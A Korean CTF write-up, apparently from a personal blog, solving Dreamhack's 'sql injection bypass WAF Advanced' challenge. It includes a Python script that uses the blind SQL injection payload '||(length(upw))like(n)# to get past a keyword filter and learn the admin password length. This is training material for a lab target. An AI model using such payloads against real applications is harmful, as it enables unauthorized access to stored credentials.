본문 바로가기
CTF/Dreamhack

[Dreamhack] sql injection bypass WAF Advanced

by 8희 2023. 11. 8.

https://dreamhack.io/wargame/challenges/416

 

sql injection bypass WAF Advanced

Description Exercise: SQL Injection Bypass WAF의 패치된 문제입니다. 문제 수정 내역 2023.07.24 Dockerfile 제공

dreamhack.io

 

SQL Injection Bypass WAF에 의해 패치된 문제이다.

 

 

가상머신 접속 화면은 이와 같다. 

 

 

문제 파일로 제공된 app.py를 확인해보면 키워드를 필터링한다.

입력 받은 data를 소문자로 변환한 후에 (lower함수) 필터링하기 때문에 대문자로도 우회할 수 없다.

 

 

필터링에 해당하는 키워드를 입력하면 이런 화면이 출력된다.

 

 

admin 문자열을 이용해서 블라인드 인젝션을 시도했다.

upw의 길이가 5와 같은 데이터를 검색했고, 'abcde'라는 uid가 나왔다.
실제로 abcde의 upw는 5글자이다.

 

이런 식으로 admin의 upw를 알아낸 이후에 Brute Force 공격을 진행할 것이다.

 

# HTTP 요청을 보내기 위해 requests 라이브러리 가져오기
import requests

# 대상 URL을 정의
url="http://host3.dreamhack.games:14097/"
cnt =0 # 카운터 변수를 초기화

# 무한 루프 시작
while(True):
    cnt+=1  # 각 반복마다 카운터를 1씩 증가
    # SQL 인젝션 공격에 사용할 페이로드를 설정
    param={
        'uid':f"'||(length(upw))like({cnt})#"
    }
    print(f'try{cnt}')  # 시도 횟수 출력
    # 구성된 페이로드를 사용하여 지정된 URL로 GET 요청 보내기
    if 'admin' in requests.get(url,params=param).text:  # 응답에 'admin'이 포함되어 있는지 확인
        break  # 'admin' 문자열을 찾으면 루프 종료

# SQL 인젝션을 통해 검색된 비밀번호의 길이 출력
print(f"비밀번호 길이는 = {cnt}")

 

비밀번호 길이가 44라고 출력됐다. 즉, admin의 pwd 길이가 44라는 것을 알 수 있다.

 

이제 한 글자씩 알아내야 한다.

 

 

위 코드를 돌려서 얻은 값이 바로 플래그이다.

 

 

귀여운 깜냥이의 축하

 


참고

https://velog.io/@jckim22/%EB%B9%A1%EA%B3%B5%ED%8C%9F-8%EC%A3%BC%EC%B0%A8-%EA%B3%BC%EC%A0%9C-6-%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%9B%8C%EA%B2%8C%EC%9E%84-sql-injection-bypass-WAF-Advanced

 

'CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] csrf-2  (0) 2023.11.15
[Dreamhack] ROT128  (0) 2023.11.08
[Dreamhack] [wargame.kr] md5 password  (0) 2023.11.01
[Dreamhack] simple_sqli_chatgpt  (0) 2023.11.01
[Dreamhack] baby-sqlite  (0) 2023.10.04